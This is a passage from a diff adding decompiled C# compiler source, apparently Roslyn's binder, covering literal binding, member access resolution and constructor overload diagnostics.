overloadResolutionResult.ValidResult : default(MemberResolutionResult)); + if (!flag && !suppressResultDiagnostics) + { + if (flag2) + { + diagnostics.Add(ErrorCode.ERR_BadAccess, errorLocation, overloadResolutionResult.ValidResult.Member); + } + else + { + overloadResolutionResult.ReportDiagnostics(this, errorLocation, null, diagnostics, errorName, null, null, analyzedArguments, candidateConstructors, typeContainingConstructors, null); + } + } + overloadResolutionResult.Free(); + return flag; + } + + internal static bool ReportConstructorUseSiteDiagnostics(Location errorLocation, BindingDiagnosticBag diagnostics, bool suppressUnsupportedRequiredMembersError, CompoundUseSiteInfo useSiteInfo) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (suppressUnsupportedRequiredMembersError && useSiteInfo.AccumulatesDiagnostics) + { + IReadOnlyCollection diagnostics2 = useSiteInfo.Diagnostics; + if (diagnostics2 != null && diagnostics2.Count != 0) + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(useSiteInfo); + foreach (DiagnosticInfo diagnostic in useSiteInfo.Diagnostics) + { + if (diagnostic.Code != 9037) + { + ((BindingDiagnosticBag)(object)diagnostics).ReportUseSiteDiagnostic(diagnostic, errorLocation); + } + } + return true; + } + } + return ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + } + + private ImmutableArray GetAccessibleConstructorsForOverloadResolution(NamedTypeSymbol type, ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray allInstanceConstructors; + return GetAccessibleConstructorsForOverloadResolution(type, allowProtectedConstructorsOfBaseType: false, out allInstanceConstructors, ref useSiteInfo); + } + + private ImmutableArray GetAccessibleConstructorsForOverloadResolution(NamedTypeSymbol type, bool allowProtectedConstructorsOfBaseType, out ImmutableArray allInstanceConstructors, ref CompoundUseSiteInfo useSiteInfo) + { + if (type.IsErrorType()) + { + type = (type.GetNonErrorGuess() as NamedTypeSymbol) ?? type; + } + allInstanceConstructors = type.InstanceConstructors; + return FilterInaccessibleConstructors(allInstanceConstructors, allowProtectedConstructorsOfBaseType, ref useSiteInfo); + } + + private static ConstantValue FoldParameterlessValueTypeConstructor(NamedTypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + SpecialType specialType = type.SpecialType; + if ((int)type.TypeKind == 5) + { + specialType = type.EnumUnderlyingType.SpecialType; + } + if (specialType - 7 <= 12) + { + return ConstantValue.Default(specialType); + } + return null; + } + + private BoundLiteral BindLiteralConstant(LiteralExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken token2; + if (node.Kind() == SyntaxKind.NumericLiteralExpression) + { + SyntaxToken token = node.Token; + token2 = node.Token; + string text = ((SyntaxToken)(ref token2)).Text; + TextSpan span; + if (text.EndsWith("l", StringComparison.Ordinal)) + { + if (!text.EndsWith("ul") && !text.EndsWith("Ul")) + { + CSDiagnosticInfo info = new CSDiagnosticInfo(ErrorCode.WRN_LowercaseEllSuffix); + SyntaxTree syntaxTree = node.SyntaxTree; + span = ((SyntaxToken)(ref token)).Span; + diagnostics.Add((DiagnosticInfo?)(object)info, Location.Create(syntaxTree, new TextSpan(((TextSpan)(ref span)).End - 1, 1))); + } + } + else if (text.EndsWith("lu", StringComparison.Ordinal) || text.EndsWith("lU", StringComparison.Ordinal)) + { + CSDiagnosticInfo info2 = new CSDiagnosticInfo(ErrorCode.WRN_LowercaseEllSuffix); + SyntaxTree syntaxTree2 = node.SyntaxTree; + span = ((SyntaxToken)(ref token)).Span; + diagnostics.Add((DiagnosticInfo?)(object)info2, Location.Create(syntaxTree2, new TextSpan(((TextSpan)(ref span)).End - 2, 1))); + } + } + token2 = node.Token; + object value = ((SyntaxToken)(ref token2)).Value; + TypeSymbol type = null; + ConstantValue constantValueOpt; + if (value == null) + { + constantValueOpt = ConstantValue.Null; + } + else + { + SpecialType val = SpecialTypeExtensions.FromRuntimeTypeOfLiteralValue(value); + constantValueOpt = ConstantValue.Create(value, val); + type = GetSpecialType(val, diagnostics, (SyntaxNode)(object)node); + } + SyntaxKind syntaxKind = node.Token.Kind(); + if (syntaxKind - 8518 <= SyntaxKind.List) + { + MessageID.IDS_FeatureRawStringLiterals.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)node); + } + return new BoundLiteral((SyntaxNode)(object)node, constantValueOpt, type); + } + + private BoundUtf8String BindUtf8StringLiteral(LiteralExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = node.Token.Kind(); + if (syntaxKind - 8521 <= SyntaxKind.List) + { + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureRawStringLiterals, diagnostics); + } + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureUtf8StringLiterals, diagnostics); + SyntaxToken token = node.Token; + string value = (string)((SyntaxToken)(ref token)).Value; + NamedTypeSymbol type = GetWellKnownType((WellKnownType)276, diagnostics, (SyntaxNode)(object)node).Construct(GetSpecialType((SpecialType)10, diagnostics, (SyntaxNode)(object)node)); + return new BoundUtf8String((SyntaxNode)(object)node, value, type); + } + + private BoundExpression BindCheckedExpression(CheckedExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + return GetBinder((SyntaxNode)(object)node).BindParenthesizedExpression(node.Expression, diagnostics); + } + + private BoundExpression BindMemberAccess(MemberAccessExpressionSyntax node, bool invoked, bool indexed, BindingDiagnosticBag diagnostics) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax expression = node.Expression; + BoundExpression boundLeft; + if (node.Kind() == SyntaxKind.SimpleMemberAccessExpression) + { + boundLeft = BindLeftOfPotentialColorColorMemberAccess(expression, diagnostics); + } + else + { + boundLeft = BindRValueWithoutTargetType(expression, diagnostics); + BindPointerIndirectionExpressionInternal(node, boundLeft, diagnostics, out var pointedAtType, out var hasErrors); + boundLeft = (((object)pointedAtType != null) ? new BoundPointerIndirectionOperator((SyntaxNode)(object)expression, boundLeft, refersToLocation: false, pointedAtType, hasErrors) + { + WasCompilerGenerated = true + } : ToBadExpression(boundLeft)); + } + return BindMemberAccessWithBoundLeft(node, boundLeft, node.Name, node.OperatorToken, invoked, indexed, diagnostics); + } + + private BoundExpression BindLeftOfPotentialColorColorMemberAccess(ExpressionSyntax left, BindingDiagnosticBag diagnostics) + { + if (left is IdentifierNameSyntax left2) + { + return BindLeftIdentifierOfPotentialColorColorMemberAccess(left2, diagnostics); + } + return BindExpression(left, diagnostics); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private BoundExpression BindLeftIdentifierOfPotentialColorColorMemberAccess(IdentifierNameSyntax left, BindingDiagnosticBag diagnostics) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Invalid comparison between Unknown and I4 + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Invalid comparison between Unknown and I4 + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + BoundExpression boundExpression = BindIdentifier(left, invoked: false, indexed: false, instance); + Symbol symbol = ((boundExpression.Kind != BoundKind.Conversion) ? boundExpression.ExpressionSymbol : ((BoundConversion)boundExpression).Operand.ExpressionSymbol); + if ((object)symbol != null) + { + SymbolKind kind = symbol.Kind; + if ((int)kind <= 8) + { + if ((int)kind == 6 || (int)kind == 8) + { + goto IL_0069; + } + } + else if ((int)kind == 13 || kind - 15 <= 1) + { + goto IL_0069; + } + } + goto IL_00ed; + IL_0069: + TypeSymbol type = boundExpression.Type; + SyntaxToken identifier = left.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (type.Name == valueText || IsUsingAliasInScope(valueText)) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(diagnostics); + BoundExpression boundExpression2 = BindNamespaceOrType(left, instance2); + if (TypeSymbol.Equals(boundExpression2.Type, type, (TypeCompareKind)63)) + { + boundExpression = BindToNaturalType(boundExpression, instance); + return new BoundTypeOrValueExpression((SyntaxNode)(object)left, new BoundTypeOrValueData(symbol, boundExpression, ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree(), boundExpression2, ((BindingDiagnosticBag)(object)instance2).ToReadOnlyAndFree()), type); + } + ((BindingDiagnosticBag)(object)instance2).Free(); + } + goto IL_00ed; + IL_00ed: + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + return boundExpression; + } + + private bool IsPotentialColorColorReceiver(IdentifierNameSyntax id, TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = id.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (type.Name == valueText || IsUsingAliasInScope(valueText)) + { + return TypeSymbol.Equals(BindNamespaceOrType(id, BindingDiagnosticBag.Discarded).Type, type, (TypeCompareKind)63); + } + return false; + } + + private bool IsUsingAliasInScope(string name) + { + bool isSemanticModelBinder = IsSemanticModelBinder; + for (ImportChain importChain = ImportChain; importChain != null; importChain = importChain.ParentOpt) + { + if (IsUsingAlias(importChain.Imports.UsingAliases, name, isSemanticModelBinder)) + { + return true; + } + } + return false; + } + + private BoundExpression BindDynamicMemberAccess(ExpressionSyntax node, BoundExpression boundLeft, SimpleNameSyntax right, bool invoked, bool indexed, BindingDiagnosticBag diagnostics) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList typeArguments = (SeparatedSyntaxList)((right.Kind() == SyntaxKind.GenericName) ? ((GenericNameSyntax)right).TypeArgumentList.Arguments : default(SeparatedSyntaxList)); + bool flag = typeArguments.Count > 0; + ImmutableArray immutableArray = (flag ? BindTypeArguments(typeArguments, diagnostics) : default(ImmutableArray)); + bool hasErrors = false; + SyntaxToken identifier; + if (!invoked && flag) + { + object[] array = new object[2]; + identifier = right.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).Text; + array[1] = ((SymbolKind)15).Localize(); + Error(diagnostics, ErrorCode.ERR_TypeArgsNotAllowed, (CSharpSyntaxNode)right, array); + hasErrors = true; + } + if (flag) + { + for (int i = 0; i < immutableArray.Length; i++) + { + TypeWithAnnotations typeWithAnnotations = immutableArray[i]; + if (typeWithAnnotations.Type.IsPointerOrFunctionPointer() || typeWithAnnotations.Type.IsRestrictedType()) + { + Error(diagnostics, ErrorCode.ERR_BadTypeArgument, (CSharpSyntaxNode)typeArguments[i], new object[1] { typeWithAnnotations.Type }); + hasErrors = true; + } + } + } + ImmutableArray typeArgumentsOpt = immutableArray; + identifier = right.Identifier; + return new BoundDynamicMemberAccess((SyntaxNode)(object)node, boundLeft, typeArgumentsOpt, ((SyntaxToken)(ref identifier)).ValueText, invoked, indexed, Compilation.DynamicType, hasErrors); + } + + private BoundExpression BindMemberAccessWithBoundLeft(ExpressionSyntax node, BoundExpression boundLeft, SimpleNameSyntax right, SyntaxToken operatorToken, bool invoked, bool indexed, BindingDiagnosticBag diagnostics) + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + //IL_0154: Unknown result type (might be due to invalid IL or missing references) + //IL_015a: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0234: Unknown result type (might be due to invalid IL or missing references) + //IL_01e0: Unknown result type (might be due to invalid IL or missing references) + //IL_02c6: Unknown result type (might be due to invalid IL or missing references) + boundLeft = MakeMemberAccessValue(boundLeft, diagnostics); + TypeSymbol type = boundLeft.Type; + if ((object)type != null && type.IsDynamic()) + { + boundLeft = CheckValue(boundLeft, BindValueKind.RValue, diagnostics); + return BindDynamicMemberAccess(node, boundLeft, right, invoked, indexed, diagnostics); + } + if ((object)type != null && type.IsVoidType()) + { + diagnostics.Add(ErrorCode.ERR_BadUnaryOp, ((SyntaxToken)(ref operatorToken)).GetLocation(), SyntaxFacts.GetText(operatorToken.Kind()), type); + return BadExpression((SyntaxNode)(object)node, boundLeft); + } + if (boundLeft.IsLiteralDefault()) + { + DiagnosticInfo info = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadOpOnNullOrDefaultOrNew, SyntaxFacts.GetText(operatorToken.Kind()), boundLeft.Display); + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(info, ((SyntaxToken)(ref operatorToken)).GetLocation())); + return BadExpression((SyntaxNode)(object)node, boundLeft); + } + if (boundLeft.Kind == BoundKind.UnboundLambda) + { + MessageID messageID = ((UnboundLambda)boundLeft).MessageID; + diagnostics.Add(ErrorCode.ERR_BadUnaryOp, ((SyntaxNode)node).Location, SyntaxFacts.GetText(operatorToken.Kind()), messageID.Localize()); + return BadExpression((SyntaxNode)(object)node, boundLeft); + } + boundLeft = BindToNaturalType(boundLeft, diagnostics); + type = boundLeft.Type; + LookupResult instance = LookupResult.GetInstance(); + try + { + LookupOptions lookupOptions = LookupOptions.AllMethodsOnArityZero; + if (invoked) + { + lookupOptions |= LookupOptions.MustBeInvocableIfMember; + } + SeparatedSyntaxList val = (SeparatedSyntaxList)((right.Kind() == SyntaxKind.GenericName) ? ((GenericNameSyntax)right).TypeArgumentList.Arguments : default(SeparatedSyntaxList)); + ImmutableArray immutableArray = ((val.Count > 0) ? BindTypeArguments(val, diagnostics) : default(ImmutableArray)); + SyntaxToken identifier = right.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + int arity = right.Arity; + switch (boundLeft.Kind) + { + case BoundKind.NamespaceExpression: + { + BoundExpression boundExpression = tryBindMemberAccessWithBoundNamespaceLeft(((BoundNamespaceExpression)boundLeft).NamespaceSymbol, node, boundLeft, right, diagnostics, instance, lookupOptions, val, immutableArray, valueText, arity); + if (boundExpression != null) + { + return boundExpression; + } + break; + } + case BoundKind.TypeExpression: + { + BoundExpression boundExpression = tryBindMemberAccessWithBoundTypeLeft(node, boundLeft, right, invoked, indexed, diagnostics, type, instance, lookupOptions, val, immutableArray, valueText, arity); + if (boundExpression != null) + { + return boundExpression; + } + break; + } + case BoundKind.TypeOrValueExpression: + return BindInstanceMemberAccess((SyntaxNode)(object)node, (SyntaxNode)(object)right, boundLeft, valueText, arity, val, immutableArray, invoked, indexed, diagnostics); + default: + if (boundLeft.Kind == BoundKind.Literal && ((BoundLiteral)boundLeft).ConstantValueOpt == ConstantValue.Null) + { + if (!boundLeft.HasAnyErrors) + { + Error(diagnostics, ErrorCode.ERR_BadUnaryOp, (CSharpSyntaxNode)node, new object[2] + { + ((SyntaxToken)(ref operatorToken)).Text, + boundLeft.Display + }); + } + return BadExpression((SyntaxNode)(object)node, boundLeft); + } + if ((object)type != null) + { + boundLeft = CheckValue(boundLeft, BindValueKind.RValue, diagnostics); + boundLeft = BindToNaturalType(boundLeft, diagnostics); + return BindInstanceMemberAccess((SyntaxNode)(object)node, (SyntaxNode)(object)right, boundLeft, valueText, arity, val, immutableArray, invoked, indexed, diagnostics); + } + break; + } + BindMemberAccessReportError((SyntaxNode)(object)node, (SyntaxNode)(object)right, valueText, boundLeft, instance.Error, diagnostics); + return BindMemberAccessBadResult((SyntaxNode)(object)node, valueText, boundLeft, instance.Error, instance.Symbols.ToImmutable(), instance.Kind); + } + finally + { + instance.Free(); + } + [MethodImpl(MethodImplOptions.NoInlining)] + BoundExpression tryBindMemberAccessWithBoundNamespaceLeft(NamespaceSymbol ns, ExpressionSyntax expressionSyntax, BoundExpression item, SimpleNameSyntax simpleNameSyntax, BindingDiagnosticBag bindingDiagnosticBag, LookupResult lookupResult, LookupOptions options, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArguments, string rightName, int rightArity) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Invalid comparison between Unknown and I4 + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + LookupMembersWithFallback(lookupResult, ns, rightName, rightArity, ref useSiteInfo, null, options); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add((SyntaxNode)(object)simpleNameSyntax, useSiteInfo); + ArrayBuilder symbols = lookupResult.Symbols; + if (lookupResult.IsMultiViable) + { + bool wasError; + Symbol symbol = ResultSymbol(lookupResult, rightName, rightArity, (SyntaxNode)(object)expressionSyntax, bindingDiagnosticBag, suppressUseSiteDiagnostics: false, out wasError, ns, options); + if (wasError) + { + return new BoundBadExpression((SyntaxNode)(object)expressionSyntax, LookupResultKind.Ambiguous, ImmutableArrayExtensions.AsImmutable((IEnumerable)lookupResult.Symbols), ImmutableArray.Create(item), CreateErrorType(rightName), hasErrors: true); + } + if ((int)symbol.Kind == 12) + { + return new BoundNamespaceExpression((SyntaxNode)(object)expressionSyntax, (NamespaceSymbol)symbol); + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + if (!typeArguments.IsDefault) + { + namedTypeSymbol = ConstructNamedTypeUnlessTypeArgumentOmitted((SyntaxNode)(object)simpleNameSyntax, namedTypeSymbol, typeArgumentsSyntax, typeArguments, bindingDiagnosticBag); + } + ReportDiagnosticsIfObsolete(bindingDiagnosticBag, namedTypeSymbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)expressionSyntax), hasBaseReceiver: false); + return new BoundTypeExpression((SyntaxNode)(object)expressionSyntax, null, namedTypeSymbol); + } + if (lookupResult.Kind == LookupResultKind.WrongArity) + { + Error(bindingDiagnosticBag, lookupResult.Error, (SyntaxNode)(object)simpleNameSyntax); + return new BoundTypeExpression((SyntaxNode)(object)expressionSyntax, null, new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(symbols[0]), symbols.ToImmutable(), lookupResult.Kind, lookupResult.Error, rightArity)); + } + if (lookupResult.Kind == LookupResultKind.Empty) + { + NotFound((SyntaxNode)(object)expressionSyntax, rightName, rightArity, rightName, bindingDiagnosticBag, null, ns, options); + return new BoundBadExpression((SyntaxNode)(object)expressionSyntax, lookupResult.Kind, ImmutableArrayExtensions.AsImmutable((IEnumerable)symbols), ImmutableArray.Create(item), CreateErrorType(rightName), hasErrors: true); + } + return null; + } + [MethodImpl(MethodImplOptions.NoInlining)] + BoundExpression tryBindMemberAccessWithBoundTypeLeft(ExpressionSyntax expressionSyntax, BoundExpression boundExpression2, SimpleNameSyntax simpleNameSyntax, bool invoked2, bool indexed2, BindingDiagnosticBag bindingDiagnosticBag, TypeSymbol leftType, LookupResult lookupResult, LookupOptions options, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArguments, string rightName, int rightArity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + if ((int)leftType.TypeKind == 11) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + LookupMembersWithFallback(lookupResult, leftType, rightName, rightArity, ref useSiteInfo, null, options | LookupOptions.MustNotBeInstance | LookupOptions.MustBeAbstractOrVirtual); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add((SyntaxNode)(object)simpleNameSyntax, useSiteInfo); + if (lookupResult.IsMultiViable) + { + CheckFeatureAvailability(boundExpression2.Syntax, MessageID.IDS_FeatureStaticAbstractMembersInInterfaces, bindingDiagnosticBag); + return BindMemberOfType((SyntaxNode)(object)expressionSyntax, (SyntaxNode)(object)simpleNameSyntax, rightName, rightArity, indexed2, boundExpression2, typeArgumentsSyntax, typeArguments, lookupResult, BoundMethodGroupFlags.None, bindingDiagnosticBag); + } + if (lookupResult.IsClear) + { + Error(bindingDiagnosticBag, ErrorCode.ERR_LookupInTypeVariable, SyntaxNodeOrToken.op_Implicit(boundExpression2.Syntax), leftType); + return BadExpression((SyntaxNode)(object)expressionSyntax, LookupResultKind.NotAValue, boundExpression2); + } + } + else + { + if ((object)EnclosingNameofArgument == expressionSyntax) + { + return BindInstanceMemberAccess((SyntaxNode)(object)expressionSyntax, (SyntaxNode)(object)simpleNameSyntax, boundExpression2, rightName, rightArity, typeArgumentsSyntax, typeArguments, invoked2, indexed2, bindingDiagnosticBag); + } + CompoundUseSiteInfo useSiteInfo2 = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + LookupMembersWithFallback(lookupResult, leftType, rightName, rightArity, ref useSiteInfo2, null, options); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add((SyntaxNode)(object)simpleNameSyntax, useSiteInfo2); + if (lookupResult.IsMultiViable) + { + return BindMemberOfType((SyntaxNode)(object)expressionSyntax, (SyntaxNode)(object)simpleNameSyntax, rightName, rightArity, indexed2, boundExpression2, typeArgumentsSyntax, typeArguments, lookupResult, BoundMethodGroupFlags.None, bindingDiagnosticBag); + } + } + return null; + } + } + + private void WarnOnAccessOfOffDefault(SyntaxNode node, BoundExpression boundLeft, BindingDiagnosticBag diagnostics) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if ((boundLeft is BoundDefaultLiteral || boundLeft is BoundDefaultExpression) && boundLeft.ConstantValueOpt == ConstantValue.Null && Compilation.LanguageVersion < MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion()) + { + Error(diagnostics, ErrorCode.WRN_DotOnDefault, SyntaxNodeOrToken.op_Implicit(node), boundLeft.Type); + } + } + + private BoundExpression MakeMemberAccessValue(BoundExpression expr, BindingDiagnosticBag diagnostics) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + switch (expr.Kind) + { + case BoundKind.MethodGroup: + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)expr; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + MethodGroupResolution methodGroupResolution = ResolveMethodGroup(boundMethodGroup, null, isMethodGroupConversion: false, ref useSiteInfo, inferWithDynamic: false, (RefKind)0, null, isFunctionPointerResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add(expr.Syntax, useSiteInfo); + if (!expr.HasAnyErrors) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(methodGroupResolution.Diagnostics, false); + if (methodGroupResolution.MethodGroup != null && !methodGroupResolution.HasAnyErrors) + { + MethodSymbol methodSymbol = methodGroupResolution.MethodGroup.Methods[0]; + Error(diagnostics, ErrorCode.ERR_BadSKunknown, SyntaxNodeOrToken.op_Implicit(boundMethodGroup.NameSyntax), methodSymbol, MessageID.IDS_SK_METHOD.Localize()); + } + } + expr = BindMemberAccessBadResult(boundMethodGroup); + methodGroupResolution.Free(); + return expr; + } + case BoundKind.PropertyGroup: + return BindIndexedPropertyAccess((BoundPropertyGroup)expr, mustHaveAllOptionalParameters: false, diagnostics); + default: + return BindToNaturalType(expr, diagnostics); + } + } + + private BoundExpression BindInstanceMemberAccess(SyntaxNode node, SyntaxNode right, BoundExpression boundLeft, string rightName, int rightArity, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArgumentsWithAnnotations, bool invoked, bool indexed, BindingDiagnosticBag diagnostics, bool searchExtensionMethodsIfNecessary = true) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = boundLeft.Type; + LookupResult instance = LookupResult.GetInstance(); + try + { + bool flag = boundLeft.Kind == BoundKind.BaseReference; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupInstanceMember(instance, type, flag, rightName, rightArity, invoked, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(right, useSiteInfo); + searchExtensionMethodsIfNecessary = searchExtensionMethodsIfNecessary && !flag; + BoundMethodGroupFlags boundMethodGroupFlags = BoundMethodGroupFlags.None; + if (searchExtensionMethodsIfNecessary) + { + boundMethodGroupFlags |= BoundMethodGroupFlags.SearchExtensionMethods; + } + if (instance.IsMultiViable) + { + return BindMemberOfType(node, right, rightName, rightArity, indexed, boundLeft, typeArgumentsSyntax, typeArgumentsWithAnnotations, instance, boundMethodGroupFlags, diagnostics); + } + if (searchExtensionMethodsIfNecessary) + { + BoundExpression valueExpressionIfTypeOrValueReceiver = GetValueExpressionIfTypeOrValueReceiver(boundLeft); + if (IsPossiblyCapturingPrimaryConstructorParameterReference(valueExpressionIfTypeOrValueReceiver, out var _)) + { + boundLeft = ReplaceTypeOrValueReceiver(boundLeft, useType: false, diagnostics); + } + BoundMethodGroup boundMethodGroup = new BoundMethodGroup(node, typeArgumentsWithAnnotations, boundLeft, rightName, ArrayBuilderExtensions.All(instance.Symbols, (Func)((Symbol s) => (int)s.Kind == 9)) ? ArrayBuilderExtensions.SelectAsArray(instance.Symbols, s_toMethodSymbolFunc) : ImmutableArray.Empty, instance, boundMethodGroupFlags, this); + if (!boundMethodGroup.HasErrors && typeArgumentsSyntax.Any(SyntaxKind.OmittedTypeArgument)) + { + Error(diagnostics, ErrorCode.ERR_OmittedTypeArgument, SyntaxNodeOrToken.op_Implicit(node)); + } + return boundMethodGroup; + } + BindMemberAccessReportError(node, right, rightName, boundLeft, instance.Error, diagnostics); + return BindMemberAccessBadResult(node, rightName, boundLeft, instance.Error, instance.Symbols.ToImmutable(), instance.Kind); + } + finally + { + instance.Free(); + } + } + + private void LookupInstanceMember(LookupResult lookupResult, TypeSymbol 